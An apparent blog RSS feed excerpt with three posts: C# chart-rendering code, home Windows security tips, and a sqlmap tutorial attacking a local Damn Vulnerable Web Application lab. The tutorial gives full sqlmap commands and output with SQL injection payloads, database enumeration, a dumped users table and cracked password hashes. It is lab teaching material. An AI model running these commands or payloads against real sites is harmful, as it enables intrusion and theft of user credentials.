            chart1.Titles[0].Alignment = ContentAlignment.TopLeft;

            // Add Narrative
            var narrative = new Title(nar, Docking.Top, new Font(&quot;Georgia&quot;, 10, FontStyle.Regular),
                                      Color.FromArgb(68, 65, 61));
            chart1.Titles.Add(narrative);
            chart1.Titles[1].Alignment = ContentAlignment.TopLeft;

            // Add Indicator
            var indicator = new Title(ind, Docking.Bottom, new Font(&quot;Georgia&quot;, 10, FontStyle.Italic),
                                      Color.FromArgb(68, 65, 61));
            chart1.Titles.Add(indicator);
            chart1.Titles[2].Alignment = ContentAlignment.BottomLeft;
            chart1.Titles[2].Position.Y = 97;
            chart1.Titles[2].Position.X = 2;
            chart1.Titles[2].Position.Width = 40;

            // Add Source
            var source = new Title(sour, Docking.Bottom, new Font(&quot;Georgia&quot;, 10, FontStyle.Italic),
                                   Color.FromArgb(68, 65, 61));
            chart1.Titles.Add(source);
            chart1.Titles[3].Alignment = ContentAlignment.BottomRight;

            // Add Chart Area
            chart1.ChartAreas.Add(&quot;Area1&quot;);

            // Add Legends
            chart1.Legends.Add(&quot;Legend1&quot;);
            chart1.Legend.Alignment = StringAlignment.Center;
            chart1.Legend.Docking = LegendDocking.Bottom;

            // Add Dashes
            chart1.ChartAreas[0].AxisY.MajorGrid.LineStyle = ChartDashStyle.Dot;
            chart1.ChartAreas[0].AxisY.MajorTickMark.LineStyle = ChartDashStyle.Dot;
            chart1.ChartAreas[0].AxisY.MajorGrid.LineColor = Color.Silver;
            chart1.ChartAreas[0].AxisY.MajorTickMark.LineColor = Color.Silver;
            chart1.ChartAreas[0].AxisY.MajorGrid.LineWidth = 1;
            chart1.ChartAreas[0].AxisY.LineWidth = 0;
            chart1.ChartAreas[0].AxisY.LabelStyle.Format = &quot;#,###&quot;;

            // Remove Vertical Lines
            chart1.ChartAreas[0].AxisX.MajorGrid.LineStyle = ChartDashStyle.NotSet;

            return chart1;
        }
    }
}
</pre>
<p>My chart model essentially adds a series for each country, adds the country to that data, and then some last minute minor chart settings and colors.</p>
<pre class="brush: jscript; title: ; notranslate">
using System;
using System.Drawing;
using System.Linq;
using Dundas.Charting.WebControl;

namespace FlowingData.Models
{
    public class ChartModel
    {
        #region Variables

        private readonly FlowingDataDBDataContext _db = new FlowingDataDBDataContext();

        #endregion

        #region Create Chart

        ///
&lt;summary&gt; /// Creates the chart.
 /// &lt;/summary&gt;
        ///The chart.
        public void CreateChart(Chart chart)
        {
            try
            {
                // Get Distinct List Of Names
                var names = (from t in _db.Populations
                             select new {t.Country}).Distinct();

                foreach (var country in names)
                {
                    // Get Country Name
                    var country1 = country;

                    // Get Country Data
                    IOrderedQueryable data = (from t in _db.Populations
                                                          where t.Country == country1.Country
                                                          orderby t.Year ascending
                                                          select t);

                    // Add series and set chart type
                    chart.Series.Add(country.Country);
                    chart.Series[country.Country].Type = SeriesChartType.Line;
                    chart.Series[country.Country].BorderWidth = 3;
                    SetColor(chart, country.Country);

                    // Add data points
                    foreach (Population population in data)
                    {
                        chart.Series[population.Country].Points.AddXY(population.Year,
                                                                      population.Population__total__WDI_2011);
                    }

                    // Load Chart Settings
                    ChartSettings(chart);
                }
            }
            catch (Exception ex)
            {
                throw new Exception(&quot;Error: &quot; + ex.Message);
            }
        }

        #endregion

        #region Misc

        ///
&lt;summary&gt; /// Charts the settings.
 /// &lt;/summary&gt;
        ///The chart.
        private void ChartSettings(Chart chart)
        {
            // X axis settings
            chart.ChartAreas[0].AxisX.Minimum = 1960;
            chart.ChartAreas[0].AxisX.Interval = 10;
        }

        ///
&lt;summary&gt; /// Sets the color.
 /// &lt;/summary&gt;
        ///The chart.
        ///Name of the country.
        private void SetColor(Chart chart, string countryName)
        {
            // Color chooser
            switch (countryName)
            {
                case &quot;United States&quot;:
                    chart.Series[countryName].Color = ColorTranslator.FromHtml(&quot;#08519C&quot;);
                    break;
                case &quot;United Kingdom&quot;:
                    chart.Series[countryName].Color = ColorTranslator.FromHtml(&quot;#6BAED6&quot;);
                    break;
                case &quot;Germany&quot;:
                    chart.Series[countryName].Color = ColorTranslator.FromHtml(&quot;#BDD7E7&quot;);
                    break;
                case &quot;France&quot;:
                    chart.Series[countryName].Color = ColorTranslator.FromHtml(&quot;#EFF3FF&quot;);
                    break;
            }
        }

        #endregion
    }
}
</pre>
<p>In the charts controller class you&#8217;d set the charts title, narrative, source, indicator and then return it as a file result.</p>
<pre class="brush: jscript; title: ; notranslate">
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using Dundas.Charting.WebControl;
using FlowingData.Models;

namespace FlowingData.Areas.api.Controllers
{
    public class chartsController : Controller
    {
        #region Variables

        readonly MVCCharts _charts = new MVCCharts();
        readonly ChartModel _model = new ChartModel();

        #endregion

        #region Get Chart

        ///
&lt;summary&gt; /// Getcharts this instance.
 /// &lt;/summary&gt;
        ///
        public FileResult getchart()
        {
            // Set Titles
            const string title = &quot;Population Growth of The United States vs. European Countries&quot;;
            const string indicator = &quot;Indicator: Population, total&quot;;
            const string source = &quot;Source: WDI-2011&quot;;
            const string narrative = &quot;The population of various major European countries has remained &quot; +
                                     &quot;fairly stagnant over the last 50 years, yet in the United States &quot; +
                                     &quot;the population has increased at a fairly consistent rate.&quot;;

            // Create Chart
            Chart myChart = _charts.CreateFlowingDataChart(800, 450, title, narrative, indicator, source);

            // Load Chart
            _model.CreateChart(myChart);

            // Return File
            var myRand = new Random();
            var imageStream = new MemoryStream();
            myChart.Save(imageStream, ChartImageFormat.Png);
            return File(imageStream.ToArray(), &quot;image/png&quot;, myRand.Next() + &quot;.png&quot;);
        }

        #endregion
    }
}
</pre>
<p>&#8230;and that is it &#8211; easy peasey.</p>
<p>You can download the files (including the ms sql backup file) <a href="http://eric.ness.net/wp-content/uploads/2012/03/FlowingData.zip">here</a>. [I had to remove the Dundas library but you should be able to simply substitute the Microsoft version. In the code you would have to change the using Dundas.Charting.WebControl to the Microsoft library but that should be about it.]</p>
<div class="shr-publisher-719"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://eric.ness.net/archives/flowing-data-charts-using-dundasmicrosoft-charts/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Basic Windows Security</title>
		<link>http://eric.ness.net/archives/basic-windows-security/</link>
		<comments>http://eric.ness.net/archives/basic-windows-security/#comments</comments>
		<pubDate>Sat, 03 Mar 2012 21:57:02 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://eric.ness.net/?p=679</guid>
		<description><![CDATA[A brief review of basic windows security for family and friends.]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fbasic-windows-security%2F' data-shr_title='Basic+Windows+Security'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fbasic-windows-security%2F' data-shr_title='Basic+Windows+Security'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetTop Automatic --><p><img class="alignnone size-full wp-image-713" title="sec_blog" src="http://eric.ness.net/wp-content/uploads/2012/01/sec_blog.jpg" alt="" width="577" height="360" /></p>
<p>Every once in a while a family members and friends will me ask a couple of windows security questions on how to set up this and ask opinions on several different pieces of software, etc. So I thought I would write down a couple of thoughts on basic pragmatic windows security for you home computer. It is by no means complete but, it gets pretty far down the line.</p>
<h2>1) Create a non admin account</h2>
<p style="text-align: left;">This is a big one. In the Linux word having your main login account not be an admin account is virtually imposed on you from the second you install Linux. However, in the windows world this is not. In fact you have to explicitly set this up. Here is a pretty good video addressing this concern.</p>
<p style="text-align: center;"><iframe src="http://player.vimeo.com/video/30639708?title=0&amp;byline=0&amp;portrait=0" frameborder="0" width="400" height="225"></iframe></p>
<p style="text-align: center;"><a href="http://vimeo.com/30639708">Windows System Security Part I</a> from <a href="http://vimeo.com/user8934667">Devon Greene</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<h2>2) Personal Software Inspector (PSI)</h2>
<p><img class="alignnone size-full wp-image-575" title="PSI" src="http://eric.ness.net/wp-content/uploads/2011/12/PSI.jpg" alt="" width="575" /></p>
<p>One big feature that is in Linux that is explicitly not in Windows is a way to check to see if your applications are up to date. Part of this reason is that most flavors of Linux have an desktop interface that allows you to freely install hundreds of applications over the internet &#8211; because it knows which applications you&#8217;ve installed and has a repository if a new update for your application comes out it lets you know and requests you install that update. Thus, eliminating a lot of security bugs as they arise. It&#8217;s a bit on par with saying, &#8220;Hey Windows has a system update do you want to install it?&#8221; for all your applications.</p>
<p><a href="http://secunia.com/vulnerability_scanning/personal/">Personal Software Inspector</a> brings this Linux feature in to the Windows world. And it is a must. It will scan which applications you have installed on your computer and compares the version number of the most current application in their database. If you don&#8217;t have the latest version it will request that you download it keeping your system more secure.</p>
<h2>3) Microsoft Security Essentials</h2>
<p><img class="alignnone  wp-image-682" title="MicrosoftSecurityEssentials" src="http://eric.ness.net/wp-content/uploads/2011/12/MicrosoftSecurityEssentials.jpg" alt="" width="575" /></p>
<p>Every Windows machine needs a anti-virus program. There are lots of opinions as to which anti-virus is the best and the only thing I can tell you is that no anti-virus is perfect. One anti-virus application will catch things that others miss. I&#8217;ve seen it in real life many many times. So since no anti-virus is perfect which one do you go with? In the past I&#8217;ve used <a href="http://www.kaspersky.com/downloads">Kaspersky</a>, <a href="http://www.symantec.com/index.jsp">Symantec</a>, <a href="http://free.avg.com/us-en/homepage">AVG</a>, <a href="http://www.mcafee.com/us/">McAfee</a>, <a href="http://www.avast.com/en-us/index">Avast</a>, etc. All of them do a fairly decent job. My main complaint against some of them is the amount of resources they use on your computer but, generally speaking they are all fine.</p>
<p>For me now I tend to you  <a href="http://windows.microsoft.com/en-US/windows/products/security-essentials">Microsoft Security Essentials</a>. I like it. Fairly low on the resource utilization end of things, a simple interface and probably one of the bigger points it is totally free and doesn&#8217;t pester you to buy their &#8216;Pro&#8217; version of their software.</p>
<h2>4) Zone Alarm Firewall</h2>
<p><img class="alignnone  wp-image-681" title="firewall" src="http://eric.ness.net/wp-content/uploads/2011/12/firewall.jpg" alt="" width="575" /></p>
<p>You probably need a firewall. I kind of put this in the optional category for two reasons: first, windows does have a fire wall and is enabled by default (most don&#8217;t know how to make it work exactly right but, it&#8217;s there and it works) and second, firewalls can be a little tricky at times especially novices.</p>
<p>I like <a href="http://www.zonealarm.com/security/en-us/anti-virus-spyware-free-download.htm">Zone Alarms</a> free personal firewall for one specific reason, it tells you &#8220;Hey, application x wants access to the internet! Is this ok?&#8221;. It&#8217;s application access control does a pretty good job and is a good thing to have on your computer regardless.</p>
<h2>5) CCleaner</h2>
<p><img class="alignnone  wp-image-680" title="ccleaner" src="http://eric.ness.net/wp-content/uploads/2011/12/ccleaner.jpg" alt="" width="575" /></p>
<p>I love <a href="http://www.piriform.com/ccleaner">CCleaner</a>! It&#8217;s one of the first applications that I install whenever I buy a new computer or do a fresh install. It essentially cleans your computer of garbage files, your internet cache, temp application data, etc. And &#8220;it just works&#8221;! CCleaner also has a lot of features that come with it like the Registry cleaner &#8211; there are a lot of pro/cons for these types of tools. For the average user it is probably best to use some of the features.</p>
<h2>6) Spybot &#8211; Search &amp;? Destroy</h2>
<p><img class="alignnone  wp-image-684" title="spybot" src="http://eric.ness.net/wp-content/uploads/2011/12/spybot.jpg" alt="" width="575" /></p>
<p>You probably need Anti-Malware/Anti-Spyware application. There are somethings that are in the &#8220;gray&#8221; area when it comes to viruses. Somethings are not necessarily viruses or trojans persay but are tracking pieces of code that an anti-virus scanner might not trigger. Or sometimes anti-virus systems are not as good at removing that&#8217;s why I like <a href="http://www.safer-networking.org/en/download/">Spybot</a> it tends to do a pretty good job at getting those last couple of things out.</p>
<h2>7) Revo Uninstaller</h2>
<p><img class="alignnone  wp-image-685" title="uninstall" src="http://eric.ness.net/wp-content/uploads/2011/12/uninstall.jpg" alt="" width="575" /></p>
<p>Having a good un-installer is a great thing to have. Often when you un-install something files are still left on your computer or items are left in your registry. The <a href="http://www.revouninstaller.com/revo_uninstaller_free_download.html">Revo Un-installer</a> take care of this job fairly well.</p>
<h2>8) Virtual Private Network VPN</h2>
<p>I travel a couple of times a year for work and sometimes work out of a coffee shop and for me a <a href="http://en.wikipedia.org/wiki/Virtual_private_network">Virtual Private Network</a> (VPN) is pretty much a must. A VPN is normally software or setup internet connection that routes your internet traffic through an intermediary and the great thing about this is that it is all encrypted. I only mention this because I have personally witnessed a guy at a Starbucks <a href="http://en.wikipedia.org/wiki/Packet_analyzer">sniff traffic</a> using <a href="http://www.wireshark.org/">wireshark</a> but, it wouldn&#8217;t be needed in your own home.</p>
<h2>9) Different Browser &amp; Plugins</h2>
<p>First tip here is try other browsers. Two of my favorite browsers are <a href="http://www.mozilla.org/en-US/firefox/new/">Firefox</a> and <a href="https://www.google.com/chrome?&amp;brand=CHMB&amp;utm_campaign=en&amp;utm_source=en-ha-na-us-sk&amp;utm_medium=ha">Chrome</a>. Chrome from a programming point of view is probably the most secure as it implements on of the best <a href="http://en.wikipedia.org/wiki/Sandbox_(computer_security)">sandboxing</a> methods I&#8217;ve seen. But, I still have a big soft spot for Firefox.</p>
<p>The most important thing to consider and often not use aspect is the use of plugins. There is a list of plugins you may want to consider:</p>
<ul>
<li><a href="https://addons.mozilla.org/en-US/firefox/addon/adblock-plus/">Adblock Plus</a></li>
<li><a href="https://addons.mozilla.org/en-US/firefox/addon/wot-safe-browsing-tool/">WOT &#8211; Know Which Websites to Trust</a></li>
<li><a href="https://addons.mozilla.org/en-US/firefox/addon/betterprivacy/"> BetterPrivacy</a></li>
<li><a href="http://priv3.icsi.berkeley.edu/">Priv3 - Practical Third-Party Privacy for the Social Web</a></li>
<li><a href="https://addons.mozilla.org/en-US/firefox/addon/noscript/">NoScript</a> &#8211; A little hard to get used to but is extremely powerful.</li>
</ul>
<p>?/a</p>
<div class="shr-publisher-679"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://eric.ness.net/archives/basic-windows-security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sql Injection Testing With SqlMap</title>
		<link>http://eric.ness.net/archives/sql-injection-testing-with-sqlmap/</link>
		<comments>http://eric.ness.net/archives/sql-injection-testing-with-sqlmap/#comments</comments>
		<pubDate>Sat, 13 Aug 2011 04:00:40 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Back Track]]></category>

		<guid isPermaLink="false">http://eric.ness.net/?p=641</guid>
		<description><![CDATA[This is a brief overview of how to test for sql injections using sqlmap.]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fsql-injection-testing-with-sqlmap%2F' data-shr_title='Sql+Injection+Testing+With+SqlMap'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fsql-injection-testing-with-sqlmap%2F' data-shr_title='Sql+Injection+Testing+With+SqlMap'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetTop Automatic --><p><img class="alignnone size-full wp-image-649" title="sqlmap" src="http://eric.ness.net/wp-content/uploads/2011/08/sqlmap.jpg" alt="" width="577" height="360" /></p>
<div style="padding: 5px; border: 1px solid #dddddd; color: #1f1f1f; margin-bottom: 10px; background: none repeat scroll 0% 0% #f8e3e0;"><strong></strong><strong>Disclaimer:</strong> This is for educational purposes only in the hopes you will use it to secure your own site and code. I take no responsibility for any malicious use of the following technology or approach. In short don&#8217;t be dumb.</div>
<p>Often one thinks that Sql Injection is just used to inject code in to a database however, sql injection can also be used to enumerate through a whole host of commands that can sometimes lead to complete control of the entire server. Here we are going to simply show you how to list all the databases in the server, get the tables and data.</p>
<p>This is a brief overview of how to test for sql injections using <a title="sqlmap" href="http://sqlmap.sourceforge.net/">sqlmap</a>. For this we are going to attack a <a title="Damn Vulnerable Web Application" href="http://www.dvwa.co.uk/">Damn Vulnerable Web Application</a> Virtual Machine and <a title="Back Track Linux" href="http://www.backtrack-linux.org/">Back Track</a>. Once the virtual machine is up and running login in the site (in this example the ip is 192.168.0.103), and set the security to low.</p>
<p>Navigate to http://192.168.0.103/vulnerabilities/sqli/ and enter a value in to the text box. Open a shell and and navigate to /pentest/database/sqlmap. You will also need a program to get cookie and session info like the <a title="Tamper Data Firefox plugin" href="https://addons.mozilla.org/en-US/firefox/addon/tamper-data/">Tamper Data</a> plugin for firefox.</p>
<h2>Get A List Of All The Databases In The Database.</h2>
<p>To build the string to run the command you&#8217;ll need the following things.</p>
<ol>
<li><strong>URL</strong>: http://192.168.0.103/vulnerabilities/sqli/?id=2&amp;Submit=Submit#</li>
<li><strong>Cookie</strong>: PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low</li>
<li><strong>Column Name</strong>: Surname</li>
</ol>
<p>You&#8217;ll notice that once you&#8217;ve enter a value in to the text box of sqli page it returns some data where some of the text that is commonly returned would be Surname.</p>
<p>Run the following command: &#8220;<strong><em>./sqlmap.py -u &#8216;http://192.168.0.103/vulnerabilities/sqli/?id=2&amp;Submit=Submit#&#8217; &#8211;cookies=&#8221;PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low&#8221; &#8211;string=&#8221;Surname&#8221; &#8211;dbs</em></strong>&#8220;.</p>
<pre class="brush: jscript; title: ; notranslate">
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u 'http://192.168.0.103/vulnerabilities/sqli/?id=2&amp;Submit=Submit#' --cookie=&quot;PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low&quot; --string=&quot;Surname&quot; --dbs

sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool

http://sqlmap.sourceforge.net

[!] Legal Disclaimer: usage of sqlmap for attacking web servers without prior mutual consent can be considered as an illegal activity. it is the final user's responsibility to obey all applicable local, state and federal laws. authors

assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting at: 21:53:39

[21:53:39] [INFO] using '/pentest/database/sqlmap/output/192.168.0.103/session' as session file
[21:53:39] [INFO] resuming injection data from session file
[21:53:39] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[21:53:39] [INFO] testing connection to the target url
[21:53:39] [INFO] testing if the provided string is within the target URL page content
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2' AND 7500=7500 AND 'ibOx'='ibOx&amp;Submit=Submit

Type: error-based
Title: MySQL &gt;= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=2' AND (SELECT 271 FROM(SELECT COUNT(*),CONCAT(CHAR(58,122,111,97,58),(SELECT (CASE WHEN (271=271) THEN 1 ELSE 0 END)),CHAR(58,103,98,116,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND

'VtPs'='VtPs&amp;Submit=Submit

Type: UNION query
Title: MySQL UNION query (NULL) - 1 to 10 columns
Payload: id=2' UNION ALL SELECT CONCAT(CHAR(58,122,111,97,58),IFNULL(CAST(CHAR(102,99,66,86,83,69,118,82,78,117) AS CHAR),CHAR(32)),CHAR(58,103,98,116,58)), NULL# AND 'lDYv'='lDYv&amp;Submit=Submit

Type: AND/OR time-based blind
Title: MySQL &gt; 5.0.11 AND time-based blind
Payload: id=2' AND SLEEP(5) AND 'mMol'='mMol&amp;Submit=Submit
---

[21:53:39] [INFO] manual usage of GET payloads requires url encoding
[21:53:39] [INFO] the back-end DBMS is MySQL

web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS: MySQL 5.0
[21:53:39] [INFO] fetching database names
[21:53:39] [INFO] read from file '/pentest/database/sqlmap/output/192.168.0.103/session': information_schema, cdcol, dvwa, mysql, phpmyadmin, test
available databases [6]:
[*] cdcol
[*] dvwa
[*] information_schema
[*] mysql
[*] phpmyadmin
[*] test

[21:53:39] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/192.168.0.103'

[*] shutting down at: 21:53:39
</pre>
<p>Here are the results:</p>
<pre>available databases [6]:
[*] cdcol
[*] dvwa
[*] information_schema
[*] mysql
[*] phpmyadmin
[*] test</pre>
<p>The one we are interested in is dvwa.</p>
<h2>To List The Tables Of A Single Database.</h2>
<p>One we have our list of databases we keep the url and cookie session data but we add some of the following fields.</p>
<ol>
<li><strong>Select Database:</strong> -D dvwa</li>
<li><strong>Get Tables:</strong> &#8211;tables</li>
</ol>
<p>Run the following command: &#8220;<strong><em>./sqlmap.py -u &#8216;http://192.168.0.103/vulnerabilities/sqli/?id=2&amp;Submit=Submit#&#8217; &#8211;cookie=&#8221;PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low&#8221; -D dvwa &#8211;tables</em></strong>&#8221;</p>
<pre class="brush: jscript; title: ; notranslate">
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u 'http://192.168.0.103/vulnerabilities/sqli/?id=2&amp;Submit=Submit#' --cookie=&quot;PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low&quot; -D dvwa --tables

sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool

http://sqlmap.sourceforge.net

[!] Legal Disclaimer: usage of sqlmap for attacking web servers without prior mutual consent can be considered as an illegal activity. it is the final user's responsibility to obey all applicable local, state and federal laws. authors

assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting at: 21:54:05

[21:54:05] [INFO] using '/pentest/database/sqlmap/output/192.168.0.103/session' as session file
[21:54:05] [INFO] resuming injection data from session file
[21:54:05] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[21:54:05] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2' AND 7500=7500 AND 'ibOx'='ibOx&amp;Submit=Submit

Type: error-based
Title: MySQL &gt;= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=2' AND (SELECT 271 FROM(SELECT COUNT(*),CONCAT(CHAR(58,122,111,97,58),(SELECT (CASE WHEN (271=271) THEN 1 ELSE 0 END)),CHAR(58,103,98,116,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND

'VtPs'='VtPs&amp;Submit=Submit

Type: UNION query
Title: MySQL UNION query (NULL) - 1 to 10 columns
Payload: id=2' UNION ALL SELECT CONCAT(CHAR(58,122,111,97,58),IFNULL(CAST(CHAR(102,99,66,86,83,69,118,82,78,117) AS CHAR),CHAR(32)),CHAR(58,103,98,116,58)), NULL# AND 'lDYv'='lDYv&amp;Submit=Submit

Type: AND/OR time-based blind
Title: MySQL &gt; 5.0.11 AND time-based blind
Payload: id=2' AND SLEEP(5) AND 'mMol'='mMol&amp;Submit=Submit
---

[21:54:05] [INFO] manual usage of GET payloads requires url encoding
[21:54:05] [INFO] the back-end DBMS is MySQL

web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS: MySQL 5.0
[21:54:05] [INFO] fetching tables for database: dvwa
[21:54:05] [INFO] read from file '/pentest/database/sqlmap/output/192.168.0.103/session': dvwa, guestbook, dvwa, users
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

[21:54:05] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/192.168.0.103'

[*] shutting down at: 21:54:05
</pre>
<p>Here are the tables from the dvwa database:</p>
<pre>[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+</pre>
<h2>Get Data From A Table</h2>
<p>To get the data and columns of a table you need the following items &#8211; in this example we are going to get the table from the <em>users</em> table.</p>
<ol>
<li><strong>Select Database:</strong> -D dvwa</li>
<li><strong>Get Tables:</strong> &#8211;tables</li>
<li><strong>Select Table:</strong> -T users &#8211;dump</li>
</ol>
<p>Run the following command: &#8220;<strong><em>./sqlmap.py -u &#8216;http://192.168.0.103/vulnerabilities/sqli/?id=2&amp;Submit=Submit#&#8217; &#8211;cookie=&#8221;PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low&#8221; -D dvwa -T users &#8211;dump</em></strong>&#8220;.</p>
<pre class="brush: jscript; title: ; notranslate">
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u 'http://192.168.0.103/vulnerabilities/sqli/?id=2&amp;Submit=Submit#' --cookie=&quot;PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low&quot; -D dvwa -T users --dump

sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool

http://sqlmap.sourceforge.net

[!] Legal Disclaimer: usage of sqlmap for attacking web servers without prior mutual consent can be considered as an illegal activity. it is the final user's responsibility to obey all applicable local, state and federal laws. authors

assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting at: 21:54:26

[21:54:26] [INFO] using '/pentest/database/sqlmap/output/192.168.0.103/session' as session file
[21:54:26] [INFO] resuming injection data from session file
[21:54:26] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[21:54:26] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2' AND 7500=7500 AND 'ibOx'='ibOx&amp;Submit=Submit

Type: error-based
Title: MySQL &gt;= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=2' AND (SELECT 271 FROM(SELECT COUNT(*),CONCAT(CHAR(58,122,111,97,58),(SELECT (CASE WHEN (271=271) THEN 1 ELSE 0 END)),CHAR(58,103,98,116,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND

'VtPs'='VtPs&amp;Submit=Submit

Type: UNION query
Title: MySQL UNION query (NULL) - 1 to 10 columns
Payload: id=2' UNION ALL SELECT CONCAT(CHAR(58,122,111,97,58),IFNULL(CAST(CHAR(102,99,66,86,83,69,118,82,78,117) AS CHAR),CHAR(32)),CHAR(58,103,98,116,58)), NULL# AND 'lDYv'='lDYv&amp;Submit=Submit

Type: AND/OR time-based blind
Title: MySQL &gt; 5.0.11 AND time-based blind
Payload: id=2' AND SLEEP(5) AND 'mMol'='mMol&amp;Submit=Submit
---

[21:54:26] [INFO] manual usage of GET payloads requires url encoding
[21:54:26] [INFO] the back-end DBMS is MySQL

web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS: MySQL 5.0
[21:54:26] [INFO] fetching columns for table 'users' on database 'dvwa'
[21:54:26] [INFO] read from file '/pentest/database/sqlmap/output/192.168.0.103/session': user_id, int(6), first_name, varchar(15), last_name, varchar(15), user, varchar(15), password, varchar(32), avatar, varchar(70)
[21:54:26] [INFO] fetching entries for table 'users' on database 'dvwa'
recognized possible password hash values. do you want to use dictionary attack on retrieved table items? [Y/n/q] Y
[21:54:28] [INFO] using hash method: 'md5_generic_passwd'
what's the dictionary's location? [/pentest/database/sqlmap/txt/wordlist.txt]
[21:54:29] [INFO] loading dictionary from: '/pentest/database/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] y
[21:54:32] [INFO] starting dictionary attack (md5_generic_passwd)
[21:54:32] [INFO] found: 'abc123' for user: 'gordonb'
[21:54:32] [INFO] found: 'charley' for user: '1337'
[21:54:33] [INFO] found: 'letmein' for user: 'pablo'
[21:54:33] [INFO] found: 'password' for user: 'admin'
Database: dvwa
Table: users
[5 entries]
+---------------------------------+------------+-----------+---------------------------------------------+---------+---------+
| avatar                          | first_name | last_name | password                                    | user    | user_id |
+---------------------------------+------------+-----------+---------------------------------------------+---------+---------+
| dvwa/hackable/users/smithy.jpg  | Bob        | Smith     | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | smithy  | 5       |
| dvwa/hackable/users/admin.jpg   | admin      | admin     | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin   | 1       |
| dvwa/hackable/users/gordonb.jpg | Gordon     | Brown     | e99a18c428cb38d5f260853678922e03 (abc123)   | gordonb | 2       |
| dvwa/hackable/users/pablo.jpg   | Pablo      | Picasso   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | pablo   | 4       |
| dvwa/hackable/users/1337.jpg    | Hack       | Me        | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | 1337    | 3       |
+---------------------------------+------------+-----------+---------------------------------------------+---------+---------+

[21:55:10] [INFO] Table 'dvwa.users' dumped to CSV file '/pentest/database/sqlmap/output/192.168.0.103/dump/dvwa/users.csv'
[21:55:10] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/192.168.0.103'

[*] shutting down at: 21:55:10

root@bt:/pentest/database/sqlmap#
</pre>
<h2>Results</h2>
<p>And as you can see when you use the accompanying dictionary in Back Track you sometimes break the password hash as an added bonus.</p>
